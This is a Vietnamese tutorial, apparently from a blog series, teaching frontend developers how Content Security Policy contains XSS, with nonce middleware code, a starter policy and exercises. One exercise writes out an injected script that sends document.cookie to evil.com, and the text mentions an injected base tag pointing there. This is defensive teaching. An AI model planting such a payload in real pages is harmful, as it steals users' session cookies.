Web Security for Frontend Devs · Part 3 — Content Security Policy (CSP)
How Content-Security-Policy contains XSS even when sanitization fails: directives, nonces, strict-dynamic, report-only rollout, Trusted Types, and a starter strict policy — with exercises.
Phần 3/10 trong series Web Security for Frontend Devs. Trước: Tiếp:
Đây là Phần 3 của series 10 bài về những kiến thức bảo mật web mà mọi frontend dev nên biết — và chủ động phòng tránh. Mỗi phần giải thích một mối đe dọa thật, cho xem code lỗ hổng, rồi cách sửa, và kết thúc bằng bài tập.
Phần 2 — XSS dạy escape, sanitize, và tránh sink nguy hiểm. CSP là lớp tiếp theo: dù một payload XSS lọt qua, trình duyệt từ chối chạy hoặc nạp tài nguyên vi phạm policy. Hãy coi CSP như tường lửa trong trình duyệt cho thứ trang được phép thực thi và nhúng.
CSP là gì?
Content Security Policy là header phản hồi HTTP (hoặc, có giới hạn, thẻ <meta>) chứa tập directive. Trình duyệt đánh giá mọi script, stylesheet, image, fetch, font, frame, v.v. theo quy tắc đó trước khi áp dụng vào document.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'
Khác với sanitize input (phải hoàn hảo trên mọi code path), CSP là phòng thủ nhiều lớp: một chỗ escape sót trong template không tự động đồng nghĩa chạy script tùy ý nếu script-src chặn. Nó không thay thế phòng XSS — nó kìm thiệt hại khi phòng thủ hỏng.
Directive cốt lõi bạn thực sự cần set
Directive là cặp tên giá trị giá trị …, phân tách bằng dấu chấm phẩy. Nếu chỉ nhớ vài cái, hãy là những cái này:
| Directive | Điều khiển gì |
|---|---|
default-src | Mặc định cho hầu hết directive fetch khi không ghi đè |
script-src | JavaScript |
style-src | CSS |
img-src | Ảnh |
connect-src | fetch, fetch, XHR, WebSocket, EventSource |
font-src | @font-face Font web |
frame-src | <iframe> / <frame> <iframe> bạn nhúng |
frame-ancestors | Ai được nhúng trang bạn — clickjacking (Phần 7) |
base-uri | Mục tiêu hợp lệ của <base href> |
form-action | Nơi <form> được submit |
object-src | Plugin — nên 'none' |
upgrade-insecure-requests | Nâng subresource HTTP thụ động lên HTTPS |
object-src 'none' đóng lỗ legacy kẻ tấn công vẫn thử. base-uri 'self' chặn <base href="https://evil.com"> tiêm vào làm đổi mọi URL tương đối. frame-ancestors là cách hiện đại nói “đừng cho evil.com frame UI ngân hàng của tôi” — kết hợp Phần 7 và stack header Phần 8.
Biểu thức nguồn: cho phép, chặn, và tự bắn vào chân
Mỗi giá trị directive là danh sách nguồn:
- cùng origin với document
- chặn hẳn loại này
- danh sách host — wildcard chỉ ở nhãn trái nhất
- cho phép inline script và handler
- cho phép
eval(),new Function(), một số pattern bundler
'unsafe-inline' và 'unsafe-eval' phá hầu hết mục tiêu kìm XSS. Nếu policy có chúng vì “app lỗi,” bạn đã ghi nhận mọi script inline tiêm vào đều được phép — đúng loại lỗi Phần 2 mô tả. Sửa kiến trúc (nonce hoặc hash) thay vì làm CSP yếu vĩnh viễn.
CSP strict hiện đại: nonce, hash, và 'strict-dynamic'
Nonce là token ngẫu nhiên mạnh sinh mỗi response trên server, có trong cả header CSP và thẻ khớp:
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5' 'strict-dynamic'; object-src 'none'; base-uri 'self'
<script nonce="a1b2c3d4e5" src="/assets/app.js"></script>
<script nonce="a1b2c3d4e5">
// This inline block runs only because the nonce matches.
</script>
Quy tắc quan trọng trên production:
- Sinh nonce mới mỗi response; không tái dùng giữa user hay trang.
- Gắn nonce lên mọi thẻ script chủ đích, kể cả block bootstrap JSON framework phát ra.
'strict-dynamic'cho script được tin qua nonce/hash nạp thêm script (vdimport()động từ bundle) mà không liệt kê mọi hostname CDN.
Hash ghim đúng nội dung inline script. Hữu ích cho bootstrap inline nhỏ khó nonce, nhưng dễ gãy khi byte đổi:
Content-Security-Policy: script-src 'sha256-abc123…base64…' 'strict-dynamic'
Đừng trộn 'unsafe-inline' với nonce trong policy bạn tin cậy — trình duyệt xử lý không nhất quán, kẻ tấn công lợi ambiguity.
Nonce phải sinh trên server (hoặc edge) mỗi response — không hard-code trong HTML tĩnh commit lên git:
import { randomBytes } from 'node:crypto';
export function cspNonce(): string {
return randomBytes(16).toString('base64');
}
// middleware (Express-style): set header + pass nonce to template
export function cspMiddleware(
req: { locals: { cspNonce?: string } },
res: { setHeader: (name: string, value: string) => void; locals: { cspNonce?: string } },
next: () => void,
): void {
const nonce = cspNonce();
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`,
);
next();
}
Template HTML render <script nonce="${cspNonce}"> với cùng giá trị. Framework (Next.js, Nuxt, Rails, Laravel) có hook cho pattern này — tìm “CSP nonce” trong stack của bạn thay vì workaround phía client.
Report-Only: đo trước khi ép
Triển khai CSP phá app đêm thứ Sáu là cách team tắt nó mãi. Dùng Content-Security-Policy-Report-Only với cùng chuỗi directive trước: vi phạm được ghi nhưng không chặn.
Content-Security-Policy-Report-Only: script-src 'self' 'nonce-REPORT_TEST'; report-uri /csp-report
Report-To: csp-endpoint
Reporting hiện đại ưu tiên Report-To với directive report-to trong CSP; report-uri deprecated nhưng vẫn gặp. Chỉnh đến khi ít nhiễu, rồi bật Content-Security-Policy ép.
Trusted Types qua CSP
Phần 2 giới thiệu Trusted Types chặn gán chuỗi thô vào sink XSS DOM.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
Khi bật, element.innerHTML = userInput ném lỗi trừ khi userInput là TrustedHTML do policy tạo. Kết hợp sanitize khi output (Phần 2) + CSP + Trusted Types cho stack phía client mạnh nhất trình duyệt hỗ trợ hiện nay.
Lỗi phổ biến (và cách kẻ tấn công lợi dụng)
Allowlist script quá rộng. Cho phép endpoint JSONP chung coi như cho script tùy ý từ path kẻ tấn công kiểm soát. Ưu tiên 'self' + nonce + 'strict-dynamic' hơn danh sách CDN dài.
Quên object-src 'none' và base-uri 'self'. Đây là thắng lợi rẻ kẻ tấn công vẫn dùng khi script-src trông “strict”.
Mặc định 'unsafe-inline' cho style phổ biến vì CSS-in-JS/framework chèn <style>. Đó là mặt rủi ro khác (rò dữ liệu qua CSS) — siết khi có thể bằng nonce hoặc stylesheet ngoài.
CSP thẻ meta không set được frame-ancestors, report-uri, report-to, hay sandbox — và chỉ meta CSP đầu trong document có hiệu lực. Ưu tiên header phản hồi từ host hoặc reverse proxy (Phần 8).
Policy strict khởi đầu
Điều chỉnh hostname và reporting theo stack; đây là nền, không phải chân lý production copy-paste:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-REPLACE_PER_RESPONSE' 'strict-dynamic';
style-src 'self';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self';
frame-src 'none';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
Trên host tĩnh, set header trong _headers, netlify.toml, hoặc dashboard — không trong JS client.
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-REPLACE'; object-src 'none'; base-uri 'self'"
/>
Nhớ: meta không bảo vệ framing (frame-ancestors) hay reporting tập trung.
Vị trí trong series
| Layer | Part | Vai trò |
|---|---|---|
| Prevent injection | Part 2 — XSS | Escape, sanitize, tránh sink |
| Contain execution | Part 3 — CSP (this post) | Chặn script/load trái phép dù HTML bị độc |
| Stop being framed | Part 7 — Clickjacking | frame-ancestors / frame-ancestors / XFO |
| Ship headers correctly | Part 8 — Secure headers & TLS | HSTS, giao CSP, chống sniff MIME |
CSP không phải phép thuật: không validate API, không chặn CSRF, không sửa CORS. Nó trả lời: “Nếu HTML sai, thứ gì vẫn không chạy được?”
Bài tập / Exercises
1. Bạn nhận script-src 'self' https://cdn.example.com 'unsafe-inline'. Kẻ tấn công tiêm <script>fetch('https://evil.com?c='+document.cookie)</script>. CSP có chặn không? Hai thay đổi directive nào sửa mà không cần 'unsafe-inline'?
Lời giải
Không — 'unsafe-inline' cho phép khối <script> inline, nên thẻ tiêm chạy. Sửa: bỏ 'unsafe-inline', thêm 'nonce-…' mỗi response trên script hợp lệ (và 'strict-dynamic' nếu bundle nạp thêm script), giữ 'self' chỉ khi thật cần script same-origin không nonce. Có thể bỏ allowlist CDN rộng nếu có JSONP hay path do user kiểm soát.
2. Vì sao object-src và base-uri nên có trong CSP “tập trung script” dù hôm nay bạn không dùng <object> hay <base>?
Lời giải
Kẻ tấn công không quan tâm roadmap tính năng. object-src 'none' chặn mặt plugin vượt kỳ vọng script-src. base-uri 'self' chặn một <base href="https://evil.com/"> tiêm làm mọi URL tương đối trỏ sang origin kẻ tấn công. Cả hai là một dòng, hardening hiệu quả cao.
3. Viết hai header phản hồi cho rollout report-only sau này sẽ ép script-src 'nonce-abc' 'strict-dynamic' và gửi report tới /csp-violations.
Lời giải
Content-Security-Policy-Report-Only: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'; report-uri /csp-violationsSau khi vi phạm sạch, thêm header ép (cùng directive, không -Report-Only):
Content-Security-Policy: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'Trên production, ưu tiên report-to + JSON Report-To hơn report-uri legacy khi collector hỗ trợ.
Nâng cao:Trong DevTools → Network, tải trang CSP strict và kích hoạt script inline bị chặn (hoặc panel Issues). Ghi các trường báo cáo vi phạm (blocked-uri, violated-directive, source-file). Giải thích bạn sửa policy hay code app.
Điểm chính
- CSP là policy header phản hồi giới hạn script, style, image, fetch, frame được nạp — phòng thủ nhiều lớp sau phòng XSS Phần 2.
'unsafe-inline'/'unsafe-eval'phá hầu hết kìm XSS; ưu tiên nonce, hash,'strict-dynamic'.- Luôn set
object-src 'none',base-uri 'self', và lên kế hoạchframe-ancestorsvới Phần 7. - Triển khai bằng
Content-Security-Policy-Report-Onlytrước; giao qua header server (Phần 8), không meta, khi cần bảo vệ framing và reporting. require-trusted-types-for 'script'ghép CSP với ép sink DOM từ Phần 2.
Tiếp theo
Phần 4 — CSRF & SameSite Cookies: tấn công lợi dụng việc trình duyệt tự gửi cookie — và cách SameSite, token, double-submit cookie chặn.